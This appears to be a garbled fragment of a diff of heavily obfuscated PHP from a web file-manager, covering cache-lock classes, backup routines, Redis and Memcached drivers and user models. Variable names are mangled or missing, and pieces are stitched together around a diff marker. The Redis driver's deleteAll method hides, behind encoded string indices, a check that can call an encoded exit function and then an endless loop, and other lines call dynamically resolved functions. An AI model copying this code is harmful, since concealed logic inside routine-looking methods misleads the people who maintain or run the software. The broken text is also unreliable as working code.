$_SERVER[ϋ][412]) { $exit = $_SERVER[ϋ][413]; $exit(); } $_act = $_SERVER[ϋ][414]; $_act($_SERVER[$_SERVER[ϋ][406]]); } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ݫ) { parent::__construct($ݫ); $this->setSignVersion($_SERVER[ϋ][238]); } public function uploadFormData($, $ً = 3600) { $̧ =& $_SERVER[ϋ]; $ͽ = $̧[220]; $ = $̧[254]; $¤ = $̧[265]; $ = gmdate($̧[1380], time() + $ً); $ = (string) time() . $̧[74] . (string) (time() + $ً); $И = array($̧[266] => $, $̧[269] => array(array($̧[271] => $ͽ), array($̧[270] => $this->bucket), array($̧[272], $̧[273], $̧[12]), array($̧[276] => $¤), array($̧[1381] => $), array($̧[1382] => $this->accessKey), array($̧[1383] => $))); $И = json_encode($И); $ѯ = hash_hmac($̧[254], $, $this->secret); $ҠԚ = sha1($И); $ = hash_hmac($̧[254], $ҠԚ, $ѯ); $ = array($̧[271] => $ͽ, $̧[276] => $¤, $̧[284] => base64_encode($И), $̧[1381] => $, $̧[1382] => $this->accessKey, $̧[1384] => $, $̧[1385] => $, $̧[199] => $this->getHost()); return $; } public function fileOutImage($ˇ, $Ɓ = 250) { $ =& $_SERVER[ϋ]; if ($this->size($ˇ) > 1024 * 1024 * 32) { return $this->fileOutImageServer($ˇ, $Ɓ); } $Յ = $this->link($ˇ); $Յ .= $[1386] . $Ɓ . $[1387]; $this->fileOutLink($Յ); } public function fileOutLink($ӂ) { $ׂ =& $_SERVER[ϋ]; if (substr($ӂ, 0, 7) == $ׂ[1377]) { $ӂ = $ׂ[1378] . substr($ӂ, 7); } header($ׂ[165] . $ӂ); die; } } goto E•; fه: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ͧ =& $_SERVER[ϋ]; $ɑ = $GLOBALS[$ͧ[6]][$ͧ[400]]; self::$cachePath = $ɑ[$ͧ[221]][$ͧ[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($࢟, $޷ = 0) { $ =& $_SERVER[ϋ]; $򚤀 = microtime(!0); $ = $򚤀 + $޷ + 0.0001; $у = rtrim(self::$cachePath, $[8]) . $[915] . md5($࢟) . $[912]; if (file_exists($у) && filemtime($у) && filemtime($у) < time() - 10) { @unlink($у); } do { if (file_exists($у)) { cacheLockWait(); continue; } $ϧ = fopen($у, $[916]); if (!$ϧ) { return !1; } $폘 = flock($ϧ, LOCK_EX | LOCK_NB); self::$caches[$࢟] = array($[917] => $ϧ, $[221] => $у); fwrite($ϧ, $); clearstatcache(); if ($ϧ && $폘) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($࢟); return !1; } public function lockGet($) { $ξȶ =& $_SERVER[ϋ]; $ = rtrim(self::$cachePath, $ξȶ[8]) . $ξȶ[915] . md5($) . $ξȶ[912]; return file_exists($); } public function unlock($) { $⎷ =& $_SERVER[ϋ]; $ = self::$caches[$]; if (!$) { return; } @flock($[$⎷[917]], LOCK_UN); @fclose($[$⎷[917]]); @unlink($[$⎷[221]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($, $╶ = 10) { $ = Cache::init(); $ߢ = microtime(!0) + $╶; while (microtime(!0) < $ߢ) { $вζ = $->get($); if (!$вζ) { $ = $->setLock($, $ߢ, $╶); if ($) { return !0; } } else { if ($вζ < microtime(!0)) { $->set($, $ߢ, $╶ * 2); if ($->get($) === $вζ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($҉) { return Cache::init()->get($҉); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($߄, $ֿ = 0) { $އ = Cache::init(); $˄ = microtime(!0) + $ֿ; while (microtime(!0) < $˄) { $ = $އ->get($߄); if (!$ || $ < microtime(!0)) { $ = $އ->handle->add($߄, $˄, $ֿ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ፒ) { return Cache::init()->get($ፒ); } public function unlock($҆) { return Cache::init()->remove($҆); } } goto a㙈; dޕ: class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[ϋ]; $ь = Backup::get(); $ = $ь[$[32]]; $𝦱 = $this->tmpFilesPath() . "\x62\141\143\x6b\x75\160\137{$}\x2f"; $ = $this->backupPath($ь); if (!($ = IO::mkdir($))) { return !1; } $И = IO::listPath($𝦱); $ݴ = isset($И[$[86]]) ? $И[$[86]] : array(); $ʫ = array_sum(array_column($ݴ, $[79])); if (!$ʫ) { return !1; } $ނ = array($[849] => $ʫ, $[850] => time()); Backup::set($ނ); $ֱ = new TaskFileTransfer($[851], $[834], count($ݴ), LNG($[835]) . $[446] . LNG($[837]) . $[852]); $ֱ->task[$[815]] = $ʫ; foreach ($И[$[86]] as $) { $ = IO::move($[$[87]], $); if (!$) { $ֱ->end(); $ = IO::getLastError($[853] . $[$[87]] . $[854] . $ . $[168]); write_log($, $[834]); return !1; } } $ʉ = new DbManage(); $ʿ = $ʉ->getSqlFile(); if (!$ʿ[$[855]] || !$ʿ[$[13]]) { return !1; } IO::move($ʿ[$[855]], $); IO::move($ʿ[$[13]], $); $ֱ->end(); $ނ = array($[856] => $ʫ, $[857] => time()); Backup::set($ނ); return !0; } private function backupPath($ģ) { $ΏĠ =& $_SERVER[ϋ]; $ = $ģ[$ΏĠ[32]]; $ = Model($ΏĠ[822])->get($ΏĠ[823]); $ = substr(md5($ΏĠ[824] . $ . $), 0, 8); return "\x7b\x69\157\x3a{$ģ[$ΏĠ[803]]}\175\57\x64\141\164\141\142\x61\163\x65\57\142\141\x63\153\x75\160\57" . $ . $ΏĠ[11] . $; } private function tmpFilesPath() { $Ȟ =& $_SERVER[ϋ]; $ĭ = TEMP_FILES; if ($GLOBALS[$Ȟ[6]][$Ȟ[92]][$Ȟ[847]]) { $ĭ = $GLOBALS[$Ȟ[6]][$Ȟ[92]][$Ȟ[847]]; if (!mk_dir($ĭ) || !is_writable($ĭ) || !IO::mkfile($ĭ . $Ȟ[848])) { $ĭ = TEMP_FILES; } } return $ĭ; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[ϋ][344]][$_SERVER[ϋ][221]][$_SERVER[ϋ][525]]; $Ą = array($_SERVER[ϋ][526] => array($_SERVER[ϋ][858], $), $_SERVER[ϋ][859] => array($_SERVER[ϋ][382], $[$_SERVER[ϋ][803]])); $ݨ˝ = (int) Model($_SERVER[ϋ][840])->where($Ą)->count($_SERVER[ϋ][525]); $ = (int) Model($_SERVER[ϋ][840])->where($Ą)->sum($_SERVER[ϋ][79]); $ = new TaskFileTransfer($_SERVER[ϋ][860], $_SERVER[ϋ][834], $ݨ˝, LNG($_SERVER[ϋ][835]) . $_SERVER[ϋ][836] . LNG($_SERVER[ϋ][861])); $->task[$_SERVER[ϋ][815]] = $; $܁ = array($_SERVER[ϋ][862] => $ݨ˝, $_SERVER[ϋ][863] => $, $_SERVER[ϋ][864] => time()); Backup::set($܁); $֔ = !0; $쿭 = $this->storeIds(); $뤱 = 1; $Ӏ = 1000; $ܮ = $Яܜ = 0; $ = array(); $ = $ = 0; do { $Е = $_SERVER[ϋ][865]; $ = Model($_SERVER[ϋ][840])->where($Ą)->field($Е)->order($_SERVER[ϋ][866])->selectPage($Ӏ, $뤱); $ָ = !empty($[$_SERVER[ϋ][429]]) ? $[$_SERVER[ϋ][429]] : array(); foreach ($ָ as $ű) { if (!$this->_fileExist($ű, $, $쿭)) { write_log("\146\x69\x6c\145\x20\156\157\x74\x20\145\170\x69\163\x74\56\x66\151\154\x65\x49\x44\x3a{$ű[$_SERVER[ϋ][525]]}\x2c\40\x70\x61\164\150\x3a{$ű[$_SERVER[ϋ][87]]}", $_SERVER[ϋ][867]); continue; } $ݗ = $ű[$_SERVER[ϋ][87]]; $Ϧ = "\x7b\151\x6f\x3a{$[$_SERVER[ϋ][803]]}\x7d" . substr($ݗ, strlen("\x7b\x69\x6f\x3a{$ű[$_SERVER[ϋ][868]]}\175")); if (IO::exist($Ϧ)) { $->updateFileEnd($ű[$_SERVER[ϋ][32]], $ű[$_SERVER[ϋ][79]]); } else { $Ϧ = get_path_father($Ϧ); IO::mkdir($Ϧ); if (!IO::copy($ݗ, $Ϧ, $_SERVER[ϋ][869])) { write_log($_SERVER[ϋ][870] . $ݗ . $_SERVER[ϋ][854] . $Ϧ . $_SERVER[ϋ][168], $_SERVER[ϋ][834]); $֔ = !1; break; } } $ = $ű[$_SERVER[ϋ][525]]; $Яܜ += 1; $ܮ += $ű[$_SERVER[ϋ][79]]; $ += 1; $ += $ű[$_SERVER[ϋ][79]]; if ($ܮ >= 1024 * 1024 * 100) { $܁ = array($_SERVER[ϋ][871] => $, $_SERVER[ϋ][872] => $, $_SERVER[ϋ][873] => $); Backup::set($܁); $ܮ = $Яܜ = 0; } } $ = count($ָ); $뤱++; } while ($ == $Ӏ); $->end(); $܁ = array($_SERVER[ϋ][874] => 1, $_SERVER[ϋ][813] => time(), $_SERVER[ϋ][827] => 1, $_SERVER[ϋ][871] => $, $_SERVER[ϋ][875] => time()); if ($Яܜ) { $܁[$_SERVER[ϋ][872]] = $; $܁[$_SERVER[ϋ][873]] = $; } Backup::set($܁); return !0; } private function _fileExist($ɮ, &$, $܈֑) { $ט =& $_SERVER[ϋ]; $﫩 = $ɮ[$ט[87]]; if (in_array($ɮ[$ט[525]], $)) { return !1; } if (!in_array($ɮ[$ט[868]], $܈֑)) { return !1; } if (IO::exist($﫩)) { return !0; } $΢ = get_path_father($﫩); if (IO::exist($΢)) { $[] = $ɮ[$ט[525]]; return !1; } $ = array($ט[868] => $ɮ[$ט[868]], $ט[87] => array($ט[443], "{$΢}\x25")); $ҿ = Model($ט[840])->where($)->field($ט[526])->select(); $ = array_merge($, array_to_keyvalue($ҿ, $ט[12], $ט[525])); return !1; } private function _fileFilter($) { $ =& $_SERVER[ϋ]; return; if (empty($)) { return; } $鼺Ղ = array($[525] => array($[7], array_unique($))); $ = Model($[876])->where($鼺Ղ)->field($[184])->select(); foreach ($ as $) { Model($[876])->remove($[$[184]], !1); } } private function storeIds() { $ =& $_SERVER[ϋ]; $提 = Model($[819])->listData(); $ŭ = array(); $ = $GLOBALS[$[6]][$[92]][$[877]]; foreach ($提 as $刲Ŋ) { $׷ = strtolower($刲Ŋ[$[98]]); if (!isset($[$׷])) { continue; } $㋙ = $[77] . (isset($[$׷]) ? $[$׷] : ucfirst($׷)); if (!class_exists($㋙)) { continue; } $ŭ[] = $刲Ŋ[$[459]]; } return $ŭ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[ϋ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $’ = $GLOBALS[$[6]][$[400]]; $ = $’[$’[$[878]]]; $륚ݠ = $’[$[879]]; switch ($’[$[878]]) { case $[21]: self::$handle = Model($[880]); break; case $[881]: self::$handle = new CacheRedis($, $륚ݠ); break; case $[882]: self::$handle = new CacheMemcached($, $륚ݠ); break; case $[221]: self::$handle = new CacheFile($, $륚ݠ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($Ѱ²) { if (is_array($Ѱ²) || is_object($Ѱ²)) { $Ѱ² = json_encode($Ѱ²); } $Ѱ² = rawurlencode($Ѱ²); return md5(KOD_SITE_ID . $_SERVER[ϋ][11] . $Ѱ²); } public static function get($, $듒 = false) { $̊ = self::key($); $ի = self::init(); if ($듒) { return unserialize($ի->get($̊)); } if (!isset(self::$memoryCache[$̊])) { $ļ = $ի->get($̊); self::$memoryCache[$̊] = unserialize($ļ); } return self::$memoryCache[$̊]; } public static function set($ߖ, $ל, $ԧ = false) { $ɳ =& $_SERVER[ϋ]; $ = self::key($ߖ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ל) { return !0; } if ($ԧ === 0) { self::$memoryCache[$] = $ל; return !0; } $瘁 = self::init(); $ΐ = serialize($ל); CacheLock::lock($ߖ . $ɳ[883]); $ڱˍ = $瘁->set($, $ΐ, $ԧ); self::$memoryCache[$] = $ל; CacheLock::unlock($ߖ . $ɳ[883]); return $ڱˍ; } public static function getCall($, $Ÿ, $ў, $̳ = array()) { $Ǵ =& $_SERVER[ϋ]; $ = self::get($); if ($ || $ === $Ǵ[12]) { return $; } $ = call_user_func_array($ў, $̳); $ = $ ? $ : $Ǵ[12]; self::set($, $, $Ÿ); return $; } public static function remove($) { $痺 = self::key($); unset(self::$memoryCache[$痺]); self::clearTimeout(); CacheLock::lock($); $Ӄߦ = self::init()->remove($痺); CacheLock::unlock($); return $Ӄߦ; } public static function removeMemory($ށ) { $쭘 = self::key($ށ); unset(self::$memoryCache[$쭘]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ϋ][884])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ϋ][885])) { self::init()->clearTimeout(); } } } goto aۨ; C᭗: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\163\145\x72\x5f\x66\141\x76"; protected function cacheFunctionAlias($􋇜) { $Ɠ =& $_SERVER[ϋ]; return array($Ɠ[2068] => array($Ɠ[2482] . USER_ID, $Ɠ[2069])); } protected function listData() { $ʌ܋ =& $_SERVER[ϋ]; $ = array($ʌ܋[1745] => USER_ID, $ʌ܋[542] => array($ʌ܋[2072], 0)); $ = $ʌ܋[2483]; $ퟛ = $this->field($)->where($)->order($ʌ܋[2075])->select(); return $ퟛ ? $ퟛ : array(); } protected function addToTag($Ç, $ɖ) { $ =& $_SERVER[ϋ]; if (!Model($[2219])->listData($ɖ)) { return !1; } if (is_numeric($Ç)) { $͆ = Model($[876])->pathInfo($Ç); if (!$͆) { return !1; } } else { $͆ = IO::infoSimple($Ç); if (!$͆) { return !1; } $ї = $͆[$[32]]; $ӓ = $͆[$[33]]; if (isset($͆[$[469]])) { $ӓ = $͆[$[469]] == $[91] ? $[78] : $[221]; } } $Ѧ = array($[1745] => USER_ID, $[542] => $ɖ, $[479] => $Ç, $[480] => $ӓ ? $ӓ : $[474], $[478] => $ї ? $ї : $[12], $[1956] => 0); if ($this->where($Ѧ)->find()) { return !1; } return $this->add($Ѧ); } protected function removeFromTag($, $Ѫ) { $ =& $_SERVER[ϋ]; if (!Model($[2219])->listData($Ѫ)) { return !1; } if (is_array($)) { $ = array($[7], $); } $ǃ = array($[1745] => USER_ID, $[542] => $Ѫ, $[479] => $); return $this->where($ǃ)->delete(); } protected function removeByTag($) { $ɮ =& $_SERVER[ϋ]; if (!$) { return !1; } $ǘ⒀ = array($ɮ[1745] => USER_ID, $ɮ[542] => $); return $this->where($ǘ⒀)->delete(); } protected function removeBySource($) { $ =& $_SERVER[ϋ]; if (is_array($)) { $ = array($[7], $); } $ = array($[1745] => USER_ID, $[542] => array($[1063], 0), $[479] => $); return $this->where($)->delete(); } } \ No newline at end of file + goto E; e̍: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $˷稶 =& $_SERVER[]; $߯ = $GLOBALS[$˷稶[6]][$˷稶[400]]; self::$cachePath = $߯[$˷稶[221]][$˷稶[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($Ǧ, $졎 = 0) { $ =& $_SERVER[]; $Ԍ = microtime(!0); $Σ = $Ԍ + $졎 + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[908] . md5($Ǧ) . $[905]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $[909]); if (!$) { return !1; } $خ = flock($, LOCK_EX | LOCK_NB); self::$caches[$Ǧ] = array($[910] => $, $[221] => $); fwrite($, $Σ); clearstatcache(); if ($ && $خ) { return !0; } cacheLockWait(); } while (microtime(!0) < $Σ); $this->unlock($Ǧ); return !1; } public function lockGet($ۭ) { $̜ =& $_SERVER[]; $׹ȝ = rtrim(self::$cachePath, $̜[8]) . $̜[908] . md5($ۭ) . $̜[905]; return file_exists($׹ȝ); } public function unlock($ʥߚ) { $ڢ =& $_SERVER[]; $쇸 = self::$caches[$ʥߚ]; if (!$쇸) { return; } @flock($쇸[$ڢ[910]], LOCK_UN); @fclose($쇸[$ڢ[910]]); @unlink($쇸[$ڢ[221]]); unset(self::$caches[$ʥߚ]); } } class CacheLockRedis { public function lock($Б, $ = 10) { $ʞ = Cache::init(); $ݑᮅ = microtime(!0) + $; while (microtime(!0) < $ݑᮅ) { $ = $ʞ->get($Б); if (!$) { $񢆂 = $ʞ->setLock($Б, $ݑᮅ, $); if ($񢆂) { return !0; } } else { if ($ < microtime(!0)) { $ʞ->set($Б, $ݑᮅ, $ * 2); if ($ʞ->get($Б) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ʸ) { return Cache::init()->get($ʸ); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ֳ = $->get($); if (!$ֳ || $ֳ < microtime(!0)) { $Ύ = $->handle->add($, $, $); if ($Ύ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } goto Fև; d잱: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[Џ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($赹, $֤ޢ) { return $赹 == $֤ޢ; } goto aˢ; Fև: class CacheLockDatabase { public function lock($, $ = 0) { $ = Model($_SERVER[][873]); $َ߭ = microtime(!0) + $; while (microtime(!0) < $َ߭) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ɤ = $->set($, $َ߭); if ($ɤ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($۠ս) { return Model($_SERVER[][873])->get($۠ս); } public function unlock($) { Model($_SERVER[][873])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ה, $) { $߫ =& $_SERVER[]; if (!class_exists($߫[911])) { show_json($߫[912], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($ה[$߫[913]]) && count($ה[$߫[913]]) >= 1) { foreach ($ה[$߫[913]] as $) { $ҥ = explode($߫[4], $); $this->handle->addServer($ҥ[0], $ҥ[1]); } } else { $this->handle->addServer($ה[$߫[199]], $ה[$߫[200]]); } } public function set($Ƒ, $Ɉ, $ނ = false) { $ނ = $ނ ? $ނ : $this->cacheTime; return $this->handle->set($Ƒ, $Ɉ, $ނ); } public function get($Ǿ) { return $this->handle->get($Ǿ); } public function remove($ҝ֘) { return $this->handle->delete($ҝ֘); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $ғÚ) { $ =& $_SERVER[]; if (!class_exists($[914])) { show_json($[915], !1); } $this->cacheTime = $ғÚ; $宅 = isset($[$[916]]) ? $[$[916]] : 10; $ꉷ = _get($, $[913]); if ($ꉷ && is_array($ꉷ)) { $this->initCluster($, $宅); } else { $this->handle = $this->init($, $宅); } } private function init($н붐, $ҊƂ) { $ȏ =& $_SERVER[]; $󾈣 = new Redis(); $Ĥ = isset($н붐[$ȏ[917]]) ? $н붐[$ȏ[917]] : !1; if ($Ĥ) { $󾈣->pconnect($н붐[$ȏ[199]], $н붐[$ȏ[200]], $ҊƂ); } else { $󾈣->connect($н붐[$ȏ[199]], $н붐[$ȏ[200]], $ҊƂ); } if (!empty($н붐[$ȏ[462]])) { $󾈣->auth($н붐[$ȏ[462]]); } if (!empty($н붐[$ȏ[802]]) && $н붐[$ȏ[802]] != 0) { $󾈣->select($н붐[$ȏ[802]]); } return $󾈣; } private function initCluster($׷, $) { $ԑ =& $_SERVER[]; $ = array($ԑ[918], $ԑ[919], $ԑ[920]); $ղ = $ԑ[918]; if (isset($׷[$ԑ[16]]) && in_array($׷[$ԑ[16]], $)) { $ղ = $׷[$ԑ[16]]; } switch ($ղ) { case $ԑ[918]: $this->_slave($׷, $); break; case $ԑ[919]: break; case $ԑ[920]: $this->isCluster = !0; $ = $׷[$ԑ[913]]; $ = isset($׷[$ԑ[917]]) ? $׷[$ԑ[917]] : !1; $ɧ = isset($׷[$ԑ[462]]) ? $׷[$ԑ[462]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $, $ɧ); break; default: break; } } private function _slave($ŏ, $풅ק) { $ = $ŏ[$_SERVER[][913]]; $this->filterConfig($ŏ, $[0]); $this->handle = $this->init($ŏ, $풅ק); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($ŏ, $[$]); $this->slaveHandle = $this->init($ŏ, $풅ק); } private function filterConfig(&$ǐ, $´) { $х =& $_SERVER[]; $ = explode($х[4], $´); $ͪ = array($х[199] => $[0], $х[200] => $[1]); $ǐ = array_merge($ǐ, $ͪ); } public function set($, $ǥ, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $ǥ); } public function setLock($Ԟ, $, $) { return $this->handle->setNX($Ԟ, $); } public function get($ᗜ) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($ᗜ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $¼ =& $_SERVER[]; if (!isset($_SERVER[$¼[921]]) || !isset($_SERVER[$¼[922]])) { $֛ = $¼[923]; $ታ = $¼[924]; $و = $_SERVER[$¼[925]] . $¼[926]; $ = $ታ($و); $ = explode($¼[253], $); if (count($) < $¼[663]) { $ = $¼[927]; $(); } $ = $¼[928]; $($_SERVER[$¼[929]]); $ʀ = 1; for ($̱ = $ʀ; $̱ > 0; $̱++) { $ = json_encode($GLOBALS[$¼[467]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto AݽƸ; D: class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\x72\137\x66\141\x76"; protected function cacheFunctionAlias($) { $Ϝ =& $_SERVER[]; return array($Ϝ[2068] => array(USER_ID, $Ϝ[2431])); } protected function listData() { $Ə =& $_SERVER[]; $ = array($Ə[1744] => USER_ID, $Ə[533] => 0); $ۧŘ = $Ə[2432]; $ = $this->field($ۧŘ)->where($)->order($Ə[2433])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $ȴ = $this->listData(); $ڊҙ = array_filter_by_field($ȴ, $[33], $[465]); $ގ = array_to_keyvalue($ڊҙ, $[12], $[87]); if (!$ގ) { return $ȴ; } $穬 = 2000; $诲 = array($[466] => array($[467], $ގ)); $؜ = Model($[869])->listSource($诲, $穬); $؜ = array_merge($؜[$[86]], $؜[$[85]]); $؜ = array_to_keyvalue($؜, $[184]); foreach ($ȴ as $̎ => $) { $㝕 = $؜[$[$[87]]]; $㝕 = $㝕 ? $㝕 : array(); $ȴ[$̎] = array_merge($㝕, $); } return $ȴ; } protected function addFav($ꛔ, $ = '', $ = "\163\x6f\x75\x72\143\145") { $ =& $_SERVER[]; $ = array($[1744] => USER_ID, $[533] => 0, $[471] => $, $[470] => $ꛔ); if ($this->where($)->find()) { return !1; } $ = array($[1744] => USER_ID, $[533] => 0); $ = $this->where($)->max($[1976]); if (!$) { $ = 0; } if (!$ && $ == $[465]) { $ɧ = Model($[1388])->where(array($[466] => $ꛔ))->find(); if (!$ɧ) { return !1; } $ = $ɧ[$[32]]; } $ = $this->getAutoName($); $ = array($[1744] => USER_ID, $[533] => 0, $[469] => $, $[470] => $ꛔ, $[471] => $, $[1956] => $ + 1); return $this->add($); } protected function remove($‰) { $ó =& $_SERVER[]; $ = array($ó[1744] => USER_ID, $ó[468] => $‰); return $this->where($)->delete(); } protected function removeByName($) { $ߌ =& $_SERVER[]; $ϖ = array($ߌ[1744] => USER_ID, $ߌ[469] => $, $ߌ[533] => 0); return $this->where($ϖ)->delete(); } protected function rename($Ӎ, $) { $Йѵΰ =& $_SERVER[]; if ($Ӎ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($Йѵΰ[1744] => USER_ID, $Йѵΰ[533] => 0, $Йѵΰ[32] => $Ӎ); return $this->where($)->save(array($Йѵΰ[32] => $)); } protected function resetSort($ߗ) { $ᾆ =& $_SERVER[]; $ߗ = is_array($ߗ) ? $ߗ : array(); $ = array($ᾆ[1744] => USER_ID); for ($ϫ֋ = 0; $ϫ֋ < count($ߗ); $ϫ֋++) { $[$ᾆ[468]] = $ߗ[$ϫ֋]; $this->where($)->save(array($ᾆ[1956] => $ϫ֋ + 1)); } return !0; } protected function moveTop($˜) { $ =& $_SERVER[]; $ξĊ = array($[1744] => USER_ID, $[533] => 0); $բ = $this->where($ξĊ)->where(array($[32] => $˜))->find(); if (!$բ) { return; } $ = $this->field($[450])->where($ξĊ)->order($[2433])->select(); $ = array_to_keyvalue($, $[12], $[450]); $ = $; $ = array_remove_value($, $բ[$[450]]); array_unshift($, $բ[$[450]]); return $this->resetSort($); } protected function moveBottom($) { $Ջ =& $_SERVER[]; $҂ = array($Ջ[1744] => USER_ID, $Ջ[533] => 0); $ = $this->where($҂)->max($Ջ[1976]); $ = array($Ջ[1976] => $ + 1); return $this->where($҂)->where(array($Ջ[32] => $))->save($); } private function getAutoName($) { $хނ =& $_SERVER[]; $ݼ = array($хނ[1744] => USER_ID, $хނ[533] => 0); $ = $this->field($хނ[32])->where($ݼ)->select(); $ = array_to_keyvalue($, $хނ[12], $хނ[32]); if (!$ || !in_array($, $)) { return $; } for ($ = 0; $ < count($); $++) { if (!in_array($ . "\x28{$}\x29", $)) { return $ . "\50{$}\51"; } } return $ . "\x28{$}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\145\155\x2e\152\157\142\x4c\151\163\164"; public $field = array("\x6e\x61\155\145", "\144\x65\163\x63", "\163\157\x72\164"); const JOB_KEY = "\x73\x65\154\146\x4a\157\x62\114\151\163\x74"; public function listData($飼 = false, $캵 = "\163\x6f\162\x74", $ʬ = false) { return parent::listData($飼, $캵, $ʬ); } public function remove($ܻ؄) { return parent::remove($ܻ؄); } public function add($‴) { $幥 =& $_SERVER[]; if ($this->findByName($‴[$幥[32]])) { return !1; } $‴[$幥[1976]] = $this->getSort(); return parent::insert($‴); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $俤ߊ = array_to_keyvalue($, $[12], $[1976]); return empty($俤ߊ) ? 0 : max($俤ߊ) + 1; } public function update($, $߬ߐ) { $譝 =& $_SERVER[]; $ = parent::listData($); $۫ = $this->findByName($߬ߐ[$譝[32]]); if (!$ || $۫ && $۫[$譝[450]] != $[$譝[450]]) { return !1; } return parent::update($, $߬ߐ); } public function setUserJob($港, $) { $쒮χ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $̟ = parent::listData(); $Ɉ = array_to_keyvalue($̟, $쒮χ[32]); $ = $쒮χ[429]; foreach ($ as $ӭ) { if ($Ɉ[$ӭ]) { $ .= $Ɉ[$ӭ][$쒮χ[450]] . $쒮χ[50]; } else { $ = $this->add($ӭ); $ .= $ . $쒮χ[50]; } } $ = rtrim($, $쒮χ[50]); Model($쒮χ[574])->metaSet($港, self::JOB_KEY, $); } public function getUserJob($) { $إ = Model($_SERVER[][574])->metaGet($); return $this->getUserJobInfo($إ[self::JOB_KEY]); } public function getUserJobInfo($下) { $ݙ =& $_SERVER[]; $ = explode($ݙ[50], $下); $ = parent::listData(); $ = array_remove_key($, $ݙ[222]); $î = array(); foreach ($ as $) { if (isset($[$])) { $î[] = $[$]; } } return $î; } } class UserModel extends ModelBase { protected $tableName = "\x75\163\145\162"; protected $tableMeta = array("\164\141\142\x6c\145\x4e\141\155\x65" => "\x75\163\x65\162\137\155\145\x74\141", "\155\x65\x74\141\106\x69\145\x6c\x64" => "\165\163\x65\x72\x49\x44"); protected $simpleField = "\165\x73\145\x72\x49\104\54\156\x69\143\x6b\116\x61\x6d\x65\54\x6e\141\x6d\145\x2c\141\166\141\164\141\x72\54\x73\x65\170\54\x73\x74\x61\164\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($И) { $ =& $_SERVER[]; $ = $[2434]; return array($[2035] => array($И[0], $), $[2037] => array($И[0], $), $[2435] => array($И[0], $)); } protected function getInfo($ɟ, $ = false) { $ = $this->getInfoSimple($ɟ); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[][2039], $ɟ); } protected function getInfoFull($, $׶ = false) { $ɾ = $this->getInfoSimple($); if (!is_array($ɾ)) { return array(); } if ($׶) { return $this->_getInfoApply($ɾ, !0); } return $this->cacheFunctionGet($_SERVER[][2436], $); } private function _getInfoApply($, $鈘خ = false) { $ =& $_SERVER[]; if (!$) { return $; } $Ǝ = md5($[2437] . $[$[937]] . $[2438] . $[$[32]]); $ = $this->_listDataApplyItem($); $ = Model($[1388])->metaGet($[$[90]][$[184]]); $[$[2439]] = $Ǝ; $[$[90]][$[2233]] = isset($[$[2234]]) ? $[$[2234]] : null; if ($鈘خ) { $[$[514]] = $this->metaGet($[$[1753]]); } return $; } protected function getInfoSimple($Ƒ, $ = false) { $ǃ׬ =& $_SERVER[]; if (!$Ƒ) { return array(); } if ($) { $ = $this->where(array($ǃ׬[1753] => intval($Ƒ)))->find(); if (!is_array($)) { return array(); } 